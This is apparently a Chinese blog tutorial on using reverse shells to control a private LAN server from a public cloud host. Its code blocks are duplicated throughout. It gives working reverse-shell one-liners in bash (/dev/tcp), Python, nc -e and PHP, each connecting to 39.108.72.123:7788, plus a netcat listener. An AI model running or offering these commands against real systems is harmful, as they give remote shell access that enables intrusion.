目录:
[显示]
实验环境
公网服务器:阿里云 39.108.72.123 7788 A
私网服务器:本地局域网 192.168.1.120 B
目标:在阿里云主机A上连接局域网服务器B的shell
方法1:使用linux命令反弹shell
# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上执行
bash -i >& /dev/tcp/39.108.72.123/7788 0>&1
# 此时即可在A上操作B
## 若要退出 使用exit命令
nc -lvp 7788
# 在B上执行
bash -i >& /dev/tcp/39.108.72.123/7788 0>&1
# 此时即可在A上操作B
## 若要退出 使用exit命令
方法2:使用python反弹shell
# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上执行python命令
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('39.108.72.123',7788));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
# 此时即可在A上操作B
## 若要退出 使用exit命令
nc -lvp 7788
# 在B上执行python命令
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('39.108.72.123',7788));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
# 此时即可在A上操作B
## 若要退出 使用exit命令
1 2 3 4 5 6 7 |
import os,socket,subprocess s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('39.108.72.123',7788)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/bash','-i']) |
方法3:使用nc反弹shell
# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上安装nc
yum install nc # yum install nmap-ncat
# 在B上执行
nc -e /bin/bash 39.108.72.123 7788
## 该方式不会显示提示符
## 可以B上ctrl + c 退出 或在A上通过 exit 退出
nc -lvp 7788
# 在B上安装nc
yum install nc # yum install nmap-ncat
# 在B上执行
nc -e /bin/bash 39.108.72.123 7788
## 该方式不会显示提示符
## 可以B上ctrl + c 退出 或在A上通过 exit 退出
方法4:使用php反弹shell
使用php的exec函数
# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上执行
php -r 'exec("/bin/bash -i >& /dev/tcp/39.108.72.123/7788");'
## 注意 效果非常不好
## 只能在B上输入命令 在A上显示 相当于接了一个远程的显示器
nc -lvp 7788
# 在B上执行
php -r 'exec("/bin/bash -i >& /dev/tcp/39.108.72.123/7788");'
## 注意 效果非常不好
## 只能在B上输入命令 在A上显示 相当于接了一个远程的显示器
使用php的fsockopen函数
# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上执行
php -r '$sock=fsockopen("39.108.72.123",7788);exec("/bin/bash -i <&3 >&3 2>&3");'
# 此时即可在A上操作B 该方式会回显输入的命令
## 若要退出 使用exit命令
nc -lvp 7788
# 在B上执行
php -r '$sock=fsockopen("39.108.72.123",7788);exec("/bin/bash -i <&3 >&3 2>&3");'
# 此时即可在A上操作B 该方式会回显输入的命令
## 若要退出 使用exit命令
转载请注明:轻风博客 » 利用linux反弹shell实现在公网主机上操作私网服务器